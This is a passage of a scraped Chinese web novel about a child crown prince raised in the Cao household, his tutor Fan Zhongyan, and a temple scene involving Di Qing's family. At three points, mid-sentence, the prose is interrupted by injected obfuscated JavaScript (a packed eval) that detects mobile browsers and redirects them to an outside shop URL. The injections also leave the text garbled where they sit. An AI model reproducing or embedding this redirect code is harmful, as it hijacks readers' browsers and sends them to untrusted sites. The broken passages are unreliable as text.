范仲淹担忧道:“郎君,你真的无事?等回家休息片刻后,一定要去相国寺上炷香,再用艾草沐浴。” 知道此时人的迷信,曹暾没有拒绝:“是,夫子。” 范仲淹观察曹暾,见曹暾确实面无惧色,但竟也面无怜惜之色,心中不免担忧,不知道曹暾是年幼无知,还是真对百姓毫无同情心。 他想询问,又怕曹暾年幼,多提此事会惊动孩童不稳固的魂魄。 范仲淹犹豫时,曹暾先开口了:“小叔叔,你昨日不肯告诉我韩资政为何与村人发生冲突。韩资政就是在阻止村人溺子吧?” 曹佑立刻回答:“不是。” 曹暾没好气道:“我有听到几个字,虽没听清,出村子就撞见此事,肯定没错。” 见曹暾主动提起此事,范仲淹便不再犹豫,询问道:“暾儿对盛世之中竟有人杀子之事,做何理解?” 曹暾困惑:“盛世?”什么盛世?哪来的盛世? 曹佑轻轻按了曹暾的头顶一下,提醒曹暾:“此时确实是盛世。” 他们二人既然回京,可不能口无遮拦了。 曹暾会意,忙道:“呃,好吧,盛世。理解……嗯,百姓养不活所以就杀子?” 范仲淹叹了口气,看出曹暾并不认可这是盛世,没有就“盛世”二字多做纠缠,直截了当问道:“我见暾儿似乎不以为奇,难道曾经见过?” 曹暾点头:“江南乡间也常杀子。民间常只留二子,多余无论男女,皆溺杀。” 他觉得马车里太闷,指挥小叔叔重新把车帘挂上。 虽然绕了路,但马车离城里已经很近了,很快就能眺见巍峨的东京城门。 城门外已有百姓排队进城。 有一吏人呼和百姓让路,护送一队年龄与曹暾无二的女孩入城。 百姓踮脚围看,神色多有艳羡。 曹暾也将视线投向那一队神色忐忑的小女儿。 范仲淹以曹暾其父的性格揣度曹暾,以为曹暾年幼便慕艾,心里叹着气,为曹暾介绍道:“那是达官贵人采买的侍女。” 曹暾道:“侍女?应该是自卖其身的乐坊新人吧?我刚听吏人呼喝了。” 他十分无奈。小叔叔也好,朱夫子也好,怎么都以为自己眼瞎耳聋啊。 曹暾收回视线,继续之前的话题:“相比江南,京城还算好些,只杀多生的儿子,不杀女儿。若有人得了女儿,便十分欢喜。‘京人薄生男,生女即不贫。东家从王侯,西家事公卿。’” 范仲淹问道:“这诗是何人所作?是暾儿曾经的老师?” “是我从史书中读到的。”曹暾胡扯,“说的是六朝旧事。” 这诗是文天祥写的,说的就是大宋。 大宋是文人官宦的盛世,繁荣的商品经济 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546552|186390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的源头是官僚消费。对官宦而言,多才多艺的女子是最受欢迎的商品之一。 《江行杂录》曰,京城的达官贵人采买侍女,“身边人、本事人、供过人、针线人、堂前人、杂剧人、拆洗人、琴童、棋童、厨娘……终非极富贵之家必不可用”,花费极大。 大宋为官僚文人服务的青楼文化也是历朝历代最为出众。 其他朝代出入青楼为落魄文人的自我堕落,在大宋是风雅;其他朝代皆谓妓子赎身为从良,在大宋年轻貌美的妓子自我赎身是浪费自己的才华,当官的只允许年老色衰的妓子赎身。 所以如浮梦般繁华的东京城,贫贱百姓如白居易《长恨歌》中所言,“不重生男重生女”。 曹暾对杀儿卖女之事知道得与范仲淹一样清楚,比范仲淹所预料得更世情通达。 范仲淹的心却沉了下去。 城门那边,乐坊新人们面带忐忑和希冀。 五六岁的女童已经芳华稍露。再经过五六年的悉心教养,她们便到了北宋文人墨客最宠爱的豆蔻之年。 她们身着净色的素衣,挽起鸦羽般的云发,浑身上下仅有一点朱唇上涂了胭脂,黑黑白白中混杂了唯一的艳丽朱色,安安静静地入了城。 马车身后,虽已经驶离了原来的道路,但唢呐镇魂的声音太大,仍旧听得见那凄厉的乐音和哭声。 亲手溺死孩子的父母,正撕心裂肺地哀号着“我的儿”。 声音很嘈杂,却像是夜晚的虫鸣,衬得此刻更寂静了几分。 曹家人拿出令牌,在吏人离开之后插队入了城。 静默的乐坊女与曹家走的不是一条道,城门也隔断了埋儿父母的哭声。马车驶上了官道。 官道两侧榆柳成荫。两边店铺朝着官道方向支个铺子,卖包子的、肉饼的、腌鱼的,还有各种咸菜,浸在凉水中的瓜果,现烤现卖的猪内脏、羊肠子……身穿短褐的庶民和宽袍大袖的文人,在店家殷勤的叫卖声中比肩接踵。客商的小船在汴河中挤挤攘攘,从外城一直延续到内城。 城外的人粮荒未过,城里似乎并不缺少吃食。 入了内城后,路边仍旧热闹,店家则换了样。 官道往南是卖鹰鹘的,其余铺面有卖珍珠香料的,有卖绫罗绸缎,有卖金银珠宝……店面高耸宽广,出入者皆身着华锦,买卖东西付钱收货都用车子拉。 从炊烟灶火到纸醉金迷,马车仿佛行走在一卷清明上河图中。 东京繁华,尽在此卷。 而曹暾从寂静到热闹,一直是那副恹恹的神情。他的眼中无波无澜,之前没有看见人间惨事的怜悯,现在也没有看见市井繁华的好奇。 如一潭死水。 也如看着一摊烂泥般的死水。 他没有任何兴趣。 “暾儿,要到了,准备下车。”曹佑道。 “哦。”曹暾打了个哈欠,揉了揉颠疼的屁股。 范仲淹收起打量曹暾的视线,心底忧虑更深。 郎君确实早慧,但是否太冷漠了些? 或许是自己多虑。郎君只是年幼,虽从书中读得了知识,但未曾亲身经历过,所以不得共情而已。 7.真不似活人 东京城的新旧曹门和曹家没关系,是城门通向曹州的意思,但曹家确实坐落在曹门大街。 曹门大街在旧曹门内,往西就是城里拥有最多富户的潘楼街,和最多勾栏的桑家瓦子,可谓寸土寸金。 从曹琮家的位置,就可知道当年曹家有多得圣宠。 到了如今,曹家也就这宅子值钱,值很多钱了。 东京居不易,大多数官吏都得租住朝廷建造的“廉租房”官邸。“廉租房”还得摇号,运气不好租不到,官吏就得自找高价租所。如果不是地方豪强出身,寒门相公都难以在东京买房。 虽说曹琮欠了巨债,有这么一处大宅院可以住,曹家人的日子过得也不算差,只是远远比不过同级别的开国勋贵奢侈罢了。 马车悄悄驶进曹府的角门后停下。曹佑先下车,然后把颠困了的曹暾抱下来。范仲淹最后下车。 曹琮已经在马车外等着。 曹佑忙放下曹暾,向叔父行礼。 曹琮先把同样想行礼的曹暾抱进怀里,才对曹佑点点头,以示回应。 曹暾被叔祖父这么一拎一抱,瞌睡都没了。 他趴在完全不熟悉的叔祖父肩膀上道:“叔祖父,夫子看着呢,我还没行礼。” “你年幼,不用行礼。”曹琮伸长手臂,仔细打量了一番小侄孙,然后手臂一收,继续把曹暾抱怀里,“朱夫子,辛苦了。” 曹暾很是无语。 其实他一路上仍旧在怀疑,那朱夫子会不会就是范仲淹。 虽然范文正公没那么闲,但“朱说”这个名字再加上韩琦这个友人,实在是让人难以不多想。 可他看叔祖父对待朱夫子的态度……嗯,见面先把我抱起来,和朱夫子打招呼都一直抱着我,真是太不礼貌了。 以范仲淹现在的名声和叔祖父一贯的谨慎,叔祖父不太可能对待范仲淹不礼貌吧? 不过就算朱夫子不是范仲淹,叔祖父你这样也很不礼貌啊! 曹暾本想挣扎一下,但实在是太困了。他便往叔祖父肩头一靠,闭眼睡了。 曹琮假装不知道范仲淹的身份,与范仲淹简单交谈了几句,忽然感到怀里一沉。 他一低头,发现小侄孙已经歪着脑袋熟睡,睡得特别沉,他晃了晃手臂,都没把小侄孙唤醒。 曹琮笑道:“暾儿有大器量。” 范仲淹拈须颔首:“是啊。” 平时是侄儿吹,但此时曹佑不理解,曹暾困得在长辈怀里睡了过去,也能叫大器量?叔父你的怀抱是战场吗? “先进屋吧。佑儿,你先带暾儿去房里睡觉。等暾儿睡醒,你再带他过来。”曹琮不舍地将怀里孩童递给曹佑,“你抱得住吗?” 虽然只有十三岁,但身形颀长的曹佑稳稳抱住瘦弱的孩童:“能抱住。” 曹佑跟随仆从离开后,曹琮将范仲淹请到书房:“暾儿太瘦小,是我没养好。” 范仲淹摇头:“听曹佑说,郎君已经一年未生病,曹公养得很好。” 曹琮道:“暾儿一年未得病,是陛下的功劳。陛下担忧东京气候不如江南温和,让暾儿去江南养身体。” 范仲淹听懂了曹琮的暗示,哭笑不得。 把太子送去江南这么冒险的事,看来曹琮也是不同意的。只是陛下一意孤行,曹家身为忠臣,不得不遵行陛下的旨意。 陛下与中宫不睦,但对曹家还是很信任的。 曹琮对陛下把曹佑和曹暾送往江南一事确实极力反对。回到战场后,他时常夜不能寐。 虽然陛下派遣了许多护卫,但曹家没个主事的人,就曹佑一个垂髫少年,哪能养得好曹暾。 但陛下认为派去的老奴就是主事的人,曹佑不过是曹暾的玩伴,一定能养好曹暾。 西北离江南极远,曹琮难以第一时间得知太子的消息,心里比看到宋军在战场上节节败退还焦急。 范仲淹道:“随行奴仆对曹佑和郎君极尊重,路上之事皆由曹佑做主。陛下以为曹佑是郎君的玩伴,但曹佑确实是能主事之人。” 曹琮松了口气。 他虽然不了解曹暾,但曹佑是他从小看到大,如同他的幼子。他很信任曹佑的才华,只是曹佑的年龄,仍旧让他很担忧。还好,曹佑没有辜负他的期望。 若不是皇帝同意曹佑与曹暾同去江南,曹琮再忠诚,也要给皇帝来个死谏了。 说到底,让曹家养皇帝唯一活着的皇子,真是太荒唐了! 太子赵暾和三皇子赵曦同年,比赵曦早两月出生。三皇子其实是四皇子。 曹皇后一直瞒着自己怀孕的事,当朱美人也怀孕时,她才告知皇帝。 曹琮不知道皇帝当时的反应,反正他得知后是吓坏了。 曹皇后身形纤细,怀孕前期只像是吃胖了。待七八月份肚皮显怀的时候,曹皇后以为边疆将士祈福为借口,搬去了宫廷别苑瑞圣园,每日织布和伺候祭祀的瓜果,不再过问宫务。 因曹皇后经常去瑞圣园耕织,群臣又因宋夏战争焦头烂额,再加上宫里有一位怀孕的朱美人吸引了所有期盼有皇嗣的人的注意力,曹皇后竟就在瑞圣园悄悄生了孩子。 曹琮被从战场召回,还以为有谁弹劾自己。当他看到曹皇后怀里的小太子时,热泪盈眶——虽然很激动,但更是被吓的。 偷偷生子还藏在曹家是怎么回事啊?陛下,我们曹家虽然是后族,但一点都不想卷入宫廷争斗。 但皇帝一改在朝臣面前的好说话,在继承人一事上不容任何人质疑。 他在宫里宫外各养了一个皇子。太子养在曹家;三皇子养在皇帝自己身边,由皇帝亲自派人照顾,不允许任何人插手。 曹琮心里更害怕了。 陛下这是什么意思?帝后互不信任? 那陛下你把太子养在宫中,把另一位皇子交给其他大臣养行不行?我们曹家真的承担不起这么可怕的重责。 曹琮还很担忧,若是两位皇子都顺利长大,皇帝什么时候接太子回宫?宫里突然多了一位皇后所生的太子,朝堂局势会不会发生巨变?而且……我们曹家皇后生的皇子,大概应该可能会被立为太子吧? 如果皇帝不想立暾儿为太子怎么办?侄女和侄孙还有活路吗? 救命! 我们曹家本来当开国勋贵当得好好的,怎么就造了孽,被皇帝选为后族了啊!曹琮都怕曹家会在自己死前覆灭,对不起列祖列宗了! 曹琮的六个哥哥,两个有“武字辈”谥号,一个娶郡主。曹家人凭借自己的本事就足够辉煌,当后族根本不是锦上添花,而是火上浇油,让曹家人都不敢展露才华了。 曹琮一度认为,是不是谁看曹家太兴盛,所以要打压曹家? 可事已至此,他连埋怨都不能显露,只能每日战战兢兢,如履薄冰,祈祷先祖保佑。 范仲淹品德高尚,且已经为太子师,将来与太子和曹家绑定,曹琮满腹心事,终于能有人听他述说。 范仲淹心情复杂。 曹家……嗯,确实当这个后族当得太委屈了。 如果曹皇后没有入宫,皇帝对曹家一定会如先帝们一样礼遇有加。哪像如今? 范仲淹安慰道:“曹公也算苦尽甘来了。” 曹琮深深叹了口气,没说话。 什么苦尽甘来?谁知道太子能不能长大?谁知道皇帝还有没有其他喜爱的幼子出生?谁知道皇帝将来会不会忌惮年长的太子?仍旧前途 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16551647|186390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未卜啊。 曹琮挤出笑容:“是,苦尽甘来。范公,隔得太远,我还不清楚暾儿的启蒙进度,只听佑儿说暾儿极其聪颖。范公看来如何?暾儿学到何种程度?已经会读经了吗?” 范仲淹的脸皮狠狠抽搐了一下,就像是牙疼似的。 他板着脸道:“是极其聪颖。郎君已经通读五经,准备去考童子科了。” 曹琮眨了好几下眼睛,才道:“啊?” …… 赵祯虽不喜曹皇后,每月该去皇后宫中的时候,他还是会按照规矩前去。 他也只会于那一日在皇后宫中过夜。 平时,赵祯只会在白日和皇后谈正事,谈完就离开。 仅有一次例外。 赵祯听曹琮夸赞曹佑,好奇地召见了曹佑,对曹佑的才华十分惊喜,不小心和曹皇后谈曹佑得太晚,便宿下了。 就那一夜,皇后怀上了太子。 待曹皇后诞子后,赵祯有一种松了一口气的错觉。从此他每月去皇后宫里的那个夜晚,也不必再勉强自己,只是与皇后单纯同寝而已。 他与曹皇后相处的气氛,竟比非得每月一次欢好时还融洽几分。 赵祯抖了抖手中信纸,促狭地笑道:“范希文和曹玉璋知道暾儿要考童子科,皆吓坏了。” 曹皇后美则美矣,平日里总板着脸,就像是庙宇里的面容严肃的木头菩萨似的,令人生不出亲近之心。 在听到赵祯提到暾儿时,她才绽放了一抹极淡的笑容,仿佛泥塑雕像活了过来。 曹皇后从赵祯手里接过信,一边看,一边慢悠悠道:“暾儿有本事,和天下神童比一比又如何?他靠自己的本事入朝为官,陛下也不用担忧如何将他接进宫教导了。” 赵祯唏嘘:“是啊。” 宫里果然难以养活孩子,他绝对不能让赵暾回宫生活。赵暾的身份,还得死死瞒住。 但他又想多与赵暾亲近,赵暾早早考上进士,不是很好的办法? 何况…… 赵祯没忍住笑出了声音:“我儿若不显露身份就能出将入相,众卿家得知真相后的反应一定很有趣。” 曹皇后条件反射想要开口劝谏,让皇帝注意规矩。 但话到了嘴边,她不想阻碍了孩子的道路,便没说出来。反正童子科是察举入试,不占科举名额,由陛下直接赐进士出身。此举能让孩子讨得陛下一二欢心,又不扰乱寻常科考秩序,孩子想考便考吧。 她想起在瑞圣园与孩子朝夕做伴的恬然时光,面上的慈祥神情更生动了几分:“暾儿定是有出将入相的本事的。” 赵祯道:“还是让曹佑先出将入相。他似乎也不想走荫庇之路,想要试试考科举。” 曹皇后满意地颔首:“佑儿也定能考上。” 赵祯摩拳擦掌:“那你另外一个弟弟曹佾呢?” 曹皇后的脸上极淡的生动表情瞬间如退潮般散去,重新回到木然:“曹家有一人出仕足够。陛下,后族权势不可太盛。” 赵祯心中的喜意被曹皇后这冰冰冷冷一劝,瞬间冷却。 他皱着眉道:“我不会猜忌曹家。曹家人才尽可施展才华。” 曹皇后站起身,恭敬地对赵祯行礼鞠躬:“陛下,这是祖训,绝对不可厚待后族,谨防外戚势力过重。” 赵祯皱着眉头盯着曹皇后看了一会儿,从曹皇后手中抽出信纸,拂袖而去。 曹皇后在赵祯离开之后,才缓缓直起身体。 她就像个泥塑雕像似的,即使在人后,表情也纹丝不动。 用膳,处理宫务,休息。 直到入睡,她的神情也一直严肃木讷。 如宫里闲言碎语,真真不似活人。 8.佛只渡富贵 曹暾一觉睡醒,已经过午。 行李已经收拾妥当,曹佑亲手将装满了半个马车的书放到两人书房的书架上,整整齐齐码好。 “正好用午膳。”曹佑将浸了井水的帕子往曹暾脸上一敷,曹暾打了个颤,睡意全无,“堂兄们都等候多时了。” 曹暾捧着帕子抹脸:“都在等我睡醒?那多不好意思啊,怎么不早点把我叫醒?” 曹佑心道,他也觉得很奇怪。 暾儿是晚辈,哪有让长辈等候的道理?难道是叔祖父怜惜父母皆早逝,所以溺爱暾儿? 他们毕竟寄人篱下,可不能让暾儿给堂兄们留下坏印象。今日暾儿旅途劳顿,堂兄们还能理解,以后他得劝一劝叔祖父。 “你连日劳顿,今天又受了惊吓,多睡一会儿没关系。”曹佑为曹暾梳好小揪揪,“二堂兄至六堂兄都来了,只大堂兄在南疆为官,不在京中。” 曹佑与曹琮的儿子们都较为熟悉,虽在路上已经为曹暾介绍过一次,去用午膳的路上,曹佑又捡重点说了一遍。 曹琮家长子外放为官,其余诸子只领了寄禄小官,平日在城郊别庄自给自足,很少回东京老宅,可谓隐于朝。 宋朝为了中央集权,官职极其复杂,分寄禄官、差遣、职官、散官、勋官等许多体系,常常一个人身上十几个官职,看得人晕头转向。 比较核心的官职,就是只吃俸禄不干活的“寄禄官”、拿补贴并干活“差遣(职事)官”、专门为文臣设置的有额外福利的荣誉官职“贴职(职官)”。 各地刺史县令等就是差遣官; 各种某某阁学士都是贴职; 曹暾的堂叔们身上的那些什么左藏库使、六宅副使等乱七八糟的官职,都是名字和职责都不重要,只拿俸禄不干活的七品寄禄小官。 曹暾道:“我记得二叔叔为右班殿直,是九品寄禄小官?” 曹佑点头。 曹暾“呵呵”了两声。 为了安抚官吏,大宋十分慷慨,“寄禄官”职位无穷无尽。无论进士还是荫庇入朝,人人都能当“寄禄官”,最低就是九品,熬资历就能升品。 寻常寒门官吏熬了十一年的资历,也不会还只是个九品寄禄官。曹暾的二叔叔曹佾已经二十七岁,当了十一年的国舅,一直还只是九品寄禄官。 曹佑本来牵着曹暾走。 曹暾没走几步,曹佑就嫌弃曹暾的小短腿走路太慢,又把曹暾抱了起来。 曹暾趴在小叔叔肩膀上,小声道:“看陛下对我家这厌恶劲,会不会直接把我从童子科的名录上划去?” 宋仁宗只对朝臣较为宽容,一旦涉及后宫、外戚和子女,他可是很封建独/裁、感情用事的。 曹佑道:“应该不会。我曾面圣过,陛下对我挺好。暾儿,东京处处有台谏,即使你还年幼,也要谨言慎行。” “哦。”曹暾便闭嘴不言了。 两人来到正堂。堂叔们都是独自前来,没有带儿女家眷。 他们对曹暾都很慈祥,每人都备了银锁之类的见面礼。 曹佑替曹暾收下后,拿出自江南买来的小玩意儿,说是曹暾为同辈兄弟姐妹们准备的礼物。 堂叔们都很开心,不断夸赞曹暾早慧懂事。 曹暾一边滴水不漏地应付亲戚饭局,一边悄无声息地环视了一圈。 奇怪,朱夫子怎么不和我们一起吃饭?是不想掺和曹家的亲戚饭局吗? 曹暾年纪小,堂叔们只略夸了曹暾几句,就不再打扰曹暾吃饭。 曹琮见儿子们都有很多话想和曹佑说,便让他们不用待在这里陪自己,去屋外篱笆下另组了一桌,想吃饭喝酒都随意。他只把曹暾留下。 堂叔们开开心心地拖拽着曹佑离开,一看就和曹佑关系很好。 曹家虽家中无太多银钱,但有御赐的田庄,饭食不用在外购买,伙食还是不错的。 曹暾为给叔祖父留下好印象,吃东西细嚼慢咽,每吃一口都要用帕子擦擦嘴角,做足了礼数。 曹琮果然十分满意,不住颔首微笑,光顾着看曹暾吃饭,连自己面前的饭食都忘记用了。 曹暾顶着曹琮慈祥的目光,压力巨大,饭没少吃一口,直吃得肚子鼓鼓。 曹琮让人端来水果。曹暾捧着水果啃的时候,曹琮才匆匆用饭。 曹琮用完饭,曹暾也休息够了。曹琮便牵着曹暾遛弯,顺便消食。 曹暾道:“叔祖父,吃饱饭要休息一会儿才能起身走路。” 曹琮温和道:“没关系,我只吃了五分饱。” 曹暾震惊。这是什么可怕的养生道理?叔祖父你是武将啊,怎么能吃五分饱?以后叔祖父不会让我也只吃五分饱吧? 他将忧心忡忡压在心底,心里琢磨如果叔祖父要教他吃五分饱,他要怎么拒绝。 在曹暾发呆的时候,曹琮已经牵着曹暾上了马车。马车上还有个朱夫子。 待曹暾回过神,马车已经驶出曹府。 曹暾忙和朱夫子行礼,然后困惑道:“我们去哪?” 范仲淹微笑道:“去相国寺上香。” 曹暾这才想起朱夫子早晨的话:“小叔叔不去吗?” 曹琮道:“他之后和兄长们一起去。他们兄弟们许久没见面,让他们多在外面玩一会儿。” 曹暾很难想象除了读书就是习武的闷墩子小叔叔和同龄人玩耍的模样,十分好奇。可惜叔祖父和朱夫子“抓”走了自己,自己不能看见小叔叔活泼开朗的一面。 下车的时候,曹暾才发现朱夫子的样子有点奇怪。 朱夫子用长长的葛巾包住头发,葛巾两端垂在肩头;脸色黝黑,仿佛涂了一层锅底灰;如画中仙人般的文人胡须剃短,只留着不到一指节长的胡茬;原本的宽袍广袖也换作了窄袖短褐,仿佛是个家境贫寒的家丁武人似的。 曹暾又仰头看向叔祖父曹琮。 叔祖父倒是换了一身宽松的鹤氅,头戴一方仙桃巾,看着很是仙风道骨……嗯,等等,我们是去相国寺上香吧?叔祖父怎么一副道士打扮?! 曹暾低头看了看自己的衣服。 朱夫子像是去打架的,叔祖父像是去论战的,只有自己服饰正常,是个正经上香人。 相国寺的僧人见多识广,没对曹暾一行人的衣服有什么不满,很热情地为他们推销高价香火。 曹暾阻拦不成,曹琮选了最贵的,还让高僧围着曹暾念了会儿经,买了个佛牌给曹暾挂脖子上。 曹暾幻视了后世误入旅游景区消费陷阱的人。 眼见曹琮又被僧人说动买什么辟邪手串,曹暾想起家中人旧旧的衣服,摸着胸口的佛牌焦躁不安道:“叔祖父,别花钱了。” 曹琮揉了揉曹暾的脑袋:“这点钱叔祖父还是花得起。” 曹暾欲言又止。他差点脱口而出“叔祖父你不是欠着巨债吗”。但他和叔祖父还不熟,不能这么直白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16556970|186390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 曹暾绞尽脑汁,见僧人转向另一位客人推销,语速极快地道:“叔祖父,这里的僧人贩卖佛宝,越贵的佛宝越有效,拜佛是否心诚只看花钱多少,那岂不是佛祖只渡富人不渡穷人?我看着寺里的佛光中全是红尘富贵的气息,恐怕祛除不了污秽。我们还是回家向曹家列祖列宗拜一拜,求祖宗的保佑更有用。” 曹琮的眼睛微微睁大。稍愣一会儿,他将曹暾抱在手臂上坐着,另一只手抚着曹暾的背,眼角出现深深的笑纹:“暾儿一语惊醒梦中人。” 曹暾见叔祖父听了进去,松了口气。 他坐在曹琮的手臂上,环视周围礼佛的芸芸众生,佛教圣地,满满的贪嗔痴。 曹暾的手指头钩动佛牌,视线落到一个抱着孩子的妇人身上。 那妇人怀里的孩子似乎已经烧了许久,她担忧是沾了什么污秽。她正焦急地和僧人求佛牌,却一时拿不出足够的钱财,希望僧人能通融一下,能不能接受物品抵押。 一个小女孩抓着妇人的衣角,正满脸害怕地抹眼泪。 曹暾皱眉,一把扯下脖子上的佛牌:“叔祖父,长者赐物,我不能乱支配。我已经无事,请问可以将佛牌送给急需的人吗?” 曹琮也看到了那个妇人,还未说话,范仲淹抢先道:“郎君,既然你不信此地佛祖能庇佑信众,为何还要将佛牌送与他人?” 曹暾回答:“我将佛牌赠予她,她便能用凑来买佛牌的钱去买药,把她的孩子救活。” 曹琮微笑着将曹暾放在地上:“我赠予你的物品,你可以随意使用。” 曹暾走向那位妇人:“你刚刚提到你家男人在边疆为官,名为狄青?” 那妇人忙道:“是,是的!再过几日我男人就会寄钱回来,我再来换回我的簪子。” 曹暾将佛牌递给妇人:“不用了。我的佛牌给你,你把你的钱拿去请大夫。” 僧人本来想多要点钱,听曹暾横插一杠子,脸色骤变:“佛牌赠人就无用……” 曹暾横跨一步,小小的身子挡在了与他相比很是高大的妇人面前,冷声道:“相国寺的僧人让病人用买药的钱买佛牌,不给治病只听念经。若这孩子病死,你会不会下地狱?” 曹暾故意提高的声音引起了众人注意。许多人的视线都投向了此处。 僧人脸色一白,连忙道:“你胡说什么,我没有……” 曹暾双手合十:“听闻大相国寺的方丈乃是佛法高深的大德,我们要不要去方丈面前辩一辩,我买的佛牌是否赠予他人便不灵验了?许多香客都会为亲朋好友购买佛牌。以你之言,岂不是都不灵验?” 他说完后,那僧人立刻被看热闹的香客围了起来。 曹暾趁机转回身,厉声道:“你已经得到佛牌了,赶紧去请大夫。小心去得晚了,佛祖的庇佑就变弱了。” 妇人支支吾吾谢过曹暾:“请问小公子是哪家人?我定会将银钱凑够送来。” 曹暾看向妇人怀里的孩童。 那男孩似乎和曹暾差不多大。他勉强睁开眼,怔怔地看向曹暾。 曹暾心头不由一软。他踮起脚尖,冰凉的小手掌轻轻地按在了孩童滚烫的额头上:“我赠送给你,不要钱。快去吧,别耽误孩子的病情。” 妇人对着曹暾深深一拜,带着孩子们离开。 抓着妇人衣角的小女孩不断回头,不住地看向那位比她还瘦小,却将她和母亲、哥哥护在身后的男孩。 9.暾恃才傲物 曹琮和范仲淹一直在几步外看着曹暾。 听曹暾询问妇人身份时,曹琮和范仲淹的眉头同时紧皱。 曹琮抬起手轻挥了一下,护卫的家丁走上前。 曹琮丢了个牌子给家丁:“去翰林医官院,请太医来为狄青之子诊治。” 家丁抱拳:“是。” 曹暾抬头看向曹琮。 曹琮道:“狄青即将入京任捧日军和天武军四厢都指挥使,有资格去翰林医官院请太医为家人诊治。我让人和翰林医官院说一声,他们就会派人前去。” 如果不是狄青出身太卑微,在京中没有好友,即使他的妻子不知这些事,友人就会为其请来太医。 范仲淹一听那生病的孩子是狄青之子,就面露慌张。 听到曹琮为狄青之子请太医,范仲淹拱手作揖:“谢曹公。” 曹琮摇头:“我也算和他共事过,理应之事。” 曹暾一时义愤,引得相国寺内骚动。曹琮让范仲淹先将曹暾带走,自己去寻相国寺方丈,先声夺人。 相国寺在东京地位很高,与权贵交往甚密。为免相国寺僧人传出对曹暾不好的话,曹琮先去质问相国寺方丈为何要纵容僧人骗财。 曹暾在马车上嘀咕:“估计那方丈要说骗财的僧人是外地挂单的野僧。临时工,马上开除。” 范仲淹忍俊不禁:“郎君很通透,可是在书中读到过类似故事?” 曹暾敷衍点头:“嗯。朱夫子,你是不是认识狄青……狄将军?” 范仲淹道:“不认识,只是听闻过狄将军的名声,很是尊敬。” 曹暾心道,又把我当小孩骗呢。 狄青虽然已经屡立战功,但因为还未独领一军,在民间算不上声名赫赫,只是得了皇帝青睐。以大宋文人对武将的轻视,朱夫子若只是普通文人,对狄青不可能有多尊敬。 何况朱夫子那焦急的神色和向叔祖父道谢的举动,明显是与狄青有私下的交情。 范仲淹的确和狄青私交很好。 他不仅和韩琦一样是狄青的举主,还亲自教导狄青读《左氏春秋》,劝狄青研读古代名将兵法,而不是只做一个只有一腔武勇的草莽之将,算是狄青半个师长。 狄青即将入京,自己与韩琦却都已经不在朝堂。虽皇帝看重信任狄青,但范仲淹担忧狄青不懂朝堂争斗,会被居心不良的人利用。 他既然已经辞官,本不想再多与武将联络,以免落人口实。但见狄青懵懵懂懂进京,连家人得病都不知道去请太医,范仲淹十分忧虑。他或许应该给狄青写信,叮嘱狄青一番。 范仲淹在脑海里转了一圈还留在京城的友人,竟寻不到能提点狄青之人。 不,或许曹琮能对狄青提点一二? 范仲淹思索之后,决定先询问皇帝,是否愿意让狄青和曹琮多接触。 他看向正偏头看向车窗外的曹暾。太子碰巧救了狄青之子,真是有缘。 不过范仲淹有个疑惑。太子是正好救了狄青之子,还是听闻那妇人的丈夫是狄青,才伸出援手。 曹暾回头,正好撞上范仲淹打量的眼神。 他略一思索,就猜到朱夫子在想什么。 朱夫子既然是韩琦的好友,估计性格和庆历君子们一样,此刻太黑白分明。 虽然自己救人是好事,但若是有利可图才救人,在庆历君子们心中恐怕就不是加分项了。 曹暾本想假装自己没发现朱夫子的心思,但他转念一想,自己总不能装一辈子。 君子总是对孩童很宽容的,他不趁着现在年纪小把自己真实的一面显露出来,难道等长大后和师长决裂?那自己的名声可就不好了。 如果朱夫子现在就不喜自己的性格,那更好,他就可以遗憾地不拜这位高才为师。朱夫子是个君子,只会找其他借口离开,不会乱说一个五岁孩童的坏话,误了孩童一辈子。 “夫子是否想问,我不是先听闻那妇人的身份,才赠送佛牌?”曹暾正襟危坐,板着小脸道,“是的。我确实是因为她乃狄将军之妻,才出手相助。” 范仲淹没想到曹暾如此敏锐,竟能察觉自己的疑虑。 他叹了口气:“那也是救了人。论迹不论心,郎君是做了好事。不过郎君,如果是其他人,你不救吗?” 曹暾道:“可能救,可能不救。每日去相国寺倾家荡产求佛牌者不知几千几万,囊中羞涩买不起佛牌者众多。我只有一个佛牌,正常情况下,我应该谁也不给。如天下贫困者众多,我不会因为我能吃饱饭,就随便选择一户贫困人家供养。若我伸出援手,定是有原因。” 或是亲近之人,或是有好感之人,或是当时心情正好。 总之,曹暾不可能滥发善心。他没那么无聊,也没那种普度众生的能耐。 听了曹暾之言,范仲淹没有露出曹暾以为的不喜。 他反而面露欣慰之色,不住颔首:“郎君心思澄明,很好。” 曹暾有些意外。 看见曹暾的意外之色,范仲淹也很意外。 他失笑道:“难道郎君以为我会不喜?我难道是那种迂腐之人?” 